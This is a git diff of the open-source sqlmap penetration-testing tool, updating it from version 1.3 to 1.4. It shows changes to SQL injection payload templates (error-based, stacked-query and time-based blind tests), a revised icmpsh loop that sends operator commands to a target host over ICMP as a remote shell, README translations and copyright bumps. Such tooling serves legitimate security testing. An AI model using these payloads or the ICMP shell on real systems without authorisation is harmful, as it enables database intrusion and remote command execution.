|
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||||
|
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -93,7 +106,7 @@
|
|||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Stacked queries tests -->
|
<!-- Stacked queries tests -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL > 5.0.11 stacked queries (comment)</title>
|
<title>MySQL >= 5.0.12 stacked queries (comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -19,12 +19,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version>> 5.0.11</dbms_version>
|
<dbms_version>>= 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL > 5.0.11 stacked queries</title>
|
<title>MySQL >= 5.0.12 stacked queries</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -39,12 +39,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version>> 5.0.11</dbms_version>
|
<dbms_version>>= 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP - comment)</title>
|
<title>MySQL >= 5.0.12 stacked queries (query SLEEP - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -60,12 +60,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version>> 5.0.11</dbms_version>
|
<dbms_version>>= 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP)</title>
|
<title>MySQL >= 5.0.12 stacked queries (query SLEEP)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -80,7 +80,7 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version>> 5.0.11</dbms_version>
|
<dbms_version>>= 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -169,7 +169,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 AND time-based blind (heavy query)</title>
|
<title>MySQL < 5.0.12 AND time-based blind (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -184,12 +184,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 OR time-based blind (heavy query)</title>
|
<title>MySQL < 5.0.12 OR time-based blind (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -204,12 +204,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 AND time-based blind (heavy query - comment)</title>
|
<title>MySQL < 5.0.12 AND time-based blind (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -225,12 +225,12 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 OR time-based blind (heavy query - comment)</title>
|
<title>MySQL < 5.0.12 OR time-based blind (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -246,7 +246,7 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1506,7 +1506,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
|
<title>MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -1521,7 +1521,7 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1861,7 +1861,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -1876,7 +1876,7 @@
|
|||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>MySQL</dbms>
|
<dbms>MySQL</dbms>
|
||||||
<dbms_version><= 5.0.11</dbms_version>
|
<dbms_version>< 5.0.12</dbms_version>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,8 @@
|
|||||||
|
# Version 1.4 (2020-01-01)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
|
||||||
|
|
||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
|||||||
BIN
doc/FAQ.pdf
BIN
doc/FAQ.pdf
Binary file not shown.
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
84
doc/translations/README-fa-IR.md
Normal file
84
doc/translations/README-fa-IR.md
Normal file
@@ -0,0 +1,84 @@
|
|||||||
|
# sqlmap 
|
||||||
|
|
||||||
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
||||||
|
|
||||||
|
|
||||||
|
عکس
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
||||||
|
|
||||||
|
|
||||||
|
نصب
|
||||||
|
----
|
||||||
|
|
||||||
|
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||||
|
|
||||||
|
|
||||||
|
طرز استفاده
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -h
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -hh
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||||
|
|
||||||
|
|
||||||
|
لینکها
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
* خانه: http://sqlmap.org
|
||||||
|
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||||
|
|
||||||
Imagens
|
Imagens
|
||||||
----
|
----
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
beep.py - Make a beep sound
|
beep.py - Make a beep sound
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -15,11 +15,13 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
|
|||||||
|
|
||||||
def beep():
|
def beep():
|
||||||
try:
|
try:
|
||||||
if sys.platform == "nt":
|
if sys.platform.startswith("win"):
|
||||||
_win_wav_play(BEEP_WAV_FILENAME)
|
_win_wav_play(BEEP_WAV_FILENAME)
|
||||||
elif sys.platform == "darwin":
|
elif sys.platform.startswith("darwin"):
|
||||||
_mac_beep()
|
_mac_beep()
|
||||||
elif sys.platform.startswith("linux"):
|
elif sys.platform.startswith("cygwin"):
|
||||||
|
_cygwin_beep(BEEP_WAV_FILENAME)
|
||||||
|
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
|
||||||
_linux_wav_play(BEEP_WAV_FILENAME)
|
_linux_wav_play(BEEP_WAV_FILENAME)
|
||||||
else:
|
else:
|
||||||
_speaker_beep()
|
_speaker_beep()
|
||||||
@@ -34,6 +36,10 @@ def _speaker_beep():
|
|||||||
except IOError:
|
except IOError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
|
||||||
|
def _cygwin_beep(filename):
|
||||||
|
os.system("play-sound-file '%s' 2>/dev/null" % filename)
|
||||||
|
|
||||||
def _mac_beep():
|
def _mac_beep():
|
||||||
import Carbon.Snd
|
import Carbon.Snd
|
||||||
Carbon.Snd.SysBeep(1)
|
Carbon.Snd.SysBeep(1)
|
||||||
@@ -57,7 +63,10 @@ def _linux_wav_play(filename):
|
|||||||
class struct_pa_sample_spec(ctypes.Structure):
|
class struct_pa_sample_spec(ctypes.Structure):
|
||||||
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
|
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
|
||||||
|
|
||||||
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
|
try:
|
||||||
|
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
|
||||||
wave_file = wave.open(filename, "rb")
|
wave_file = wave.open(filename, "rb")
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
cloak.py - Simple file encryption/compression utility
|
cloak.py - Simple file encryption/compression utility
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
dbgtool.py - Portable executable to ASCII debug script converter
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -76,60 +76,63 @@ def main(src, dst):
|
|||||||
decoder = ImpactDecoder.IPDecoder()
|
decoder = ImpactDecoder.IPDecoder()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
cmd = ''
|
try:
|
||||||
|
cmd = ''
|
||||||
|
|
||||||
# Wait for incoming replies
|
# Wait for incoming replies
|
||||||
if sock in select.select([sock], [], [])[0]:
|
if sock in select.select([sock], [], [])[0]:
|
||||||
buff = sock.recv(4096)
|
buff = sock.recv(4096)
|
||||||
|
|
||||||
if 0 == len(buff):
|
if 0 == len(buff):
|
||||||
# Socket remotely closed
|
# Socket remotely closed
|
||||||
sock.close()
|
sock.close()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
# Packet received; decode and display it
|
# Packet received; decode and display it
|
||||||
ippacket = decoder.decode(buff)
|
ippacket = decoder.decode(buff)
|
||||||
icmppacket = ippacket.child()
|
icmppacket = ippacket.child()
|
||||||
|
|
||||||
# If the packet matches, report it to the user
|
# If the packet matches, report it to the user
|
||||||
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
||||||
# Get identifier and sequence number
|
# Get identifier and sequence number
|
||||||
ident = icmppacket.get_icmp_id()
|
ident = icmppacket.get_icmp_id()
|
||||||
seq_id = icmppacket.get_icmp_seq()
|
seq_id = icmppacket.get_icmp_seq()
|
||||||
data = icmppacket.get_data_as_string()
|
data = icmppacket.get_data_as_string()
|
||||||
|
|
||||||
if len(data) > 0:
|
if len(data) > 0:
|
||||||
sys.stdout.write(data)
|
sys.stdout.write(data)
|
||||||
|
|
||||||
# Parse command from standard input
|
# Parse command from standard input
|
||||||
try:
|
try:
|
||||||
cmd = sys.stdin.readline()
|
cmd = sys.stdin.readline()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if cmd == 'exit\n':
|
if cmd == 'exit\n':
|
||||||
return
|
return
|
||||||
|
|
||||||
# Set sequence number and identifier
|
# Set sequence number and identifier
|
||||||
icmp.set_icmp_id(ident)
|
icmp.set_icmp_id(ident)
|
||||||
icmp.set_icmp_seq(seq_id)
|
icmp.set_icmp_seq(seq_id)
|
||||||
|
|
||||||
# Include the command as data inside the ICMP packet
|
# Include the command as data inside the ICMP packet
|
||||||
icmp.contains(ImpactPacket.Data(cmd))
|
icmp.contains(ImpactPacket.Data(cmd))
|
||||||
|
|
||||||
# Calculate its checksum
|
# Calculate its checksum
|
||||||
icmp.set_icmp_cksum(0)
|
icmp.set_icmp_cksum(0)
|
||||||
icmp.auto_checksum = 1
|
icmp.auto_checksum = 1
|
||||||
|
|
||||||
# Have the IP packet contain the ICMP packet (along with its payload)
|
# Have the IP packet contain the ICMP packet (along with its payload)
|
||||||
ip.contains(icmp)
|
ip.contains(icmp)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Send it to the target host
|
# Send it to the target host
|
||||||
sock.sendto(ip.get_packet(), (dst, 0))
|
sock.sendto(ip.get_packet(), (dst, 0))
|
||||||
except socket.error as ex:
|
except socket.error as ex:
|
||||||
sys.stderr.write("'%s'\n" % ex)
|
sys.stderr.write("'%s'\n" % ex)
|
||||||
sys.stderr.flush()
|
sys.stderr.flush()
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
if len(sys.argv) < 3:
|
if len(sys.argv) < 3:
|
||||||
|
|||||||
@@ -1,17 +0,0 @@
|
|||||||
To use safe2bin.py you need to pass it the original file,
|
|
||||||
and optionally the output file name.
|
|
||||||
|
|
||||||
Example:
|
|
||||||
|
|
||||||
$ python ./safe2bin.py -i output.txt -o output.txt.bin
|
|
||||||
|
|
||||||
This will create an binary decoded file output.txt.bin. For example,
|
|
||||||
if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will
|
|
||||||
be decoded to: " test 234
|
|
||||||
newline"
|
|
||||||
|
|
||||||
If you skip the output file name, general rule is that the binary
|
|
||||||
file names are suffixed with the string '.bin'. So, that means that
|
|
||||||
the upper example can also be written in the following form:
|
|
||||||
|
|
||||||
$ python ./safe2bin.py -i output.txt
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
|
||||||
See the file 'LICENSE' for copying permission
|
|
||||||
"""
|
|
||||||
|
|
||||||
pass
|
|
||||||
9
extra/shutils/autocompletion.sh
Executable file
9
extra/shutils/autocompletion.sh
Executable file
@@ -0,0 +1,9 @@
|
|||||||
|
#/usr/bin/env bash
|
||||||
|
|
||||||
|
# source ./extra/shutils/autocompletion.sh
|
||||||
|
|
||||||
|
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||||
|
WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -`
|
||||||
|
|
||||||
|
complete -W "$WORDLIST" sqlmap
|
||||||
|
complete -W "$WORDLIST" ./sqlmap.py
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes trailing spaces from blank lines inside project files
|
# Removes trailing spaces from blank lines inside project files
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Stress test against Python3
|
# Stress test against Python3
|
||||||
|
|
||||||
export SQLMAP_DREI=1
|
export SQLMAP_DREI=1
|
||||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done
|
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||||
unset SQLMAP_DREI
|
unset SQLMAP_DREI
|
||||||
source `dirname "$0"`"/junk.sh"
|
source `dirname "$0"`"/junk.sh"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes duplicate entries in wordlist like files
|
# Removes duplicate entries in wordlist like files
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
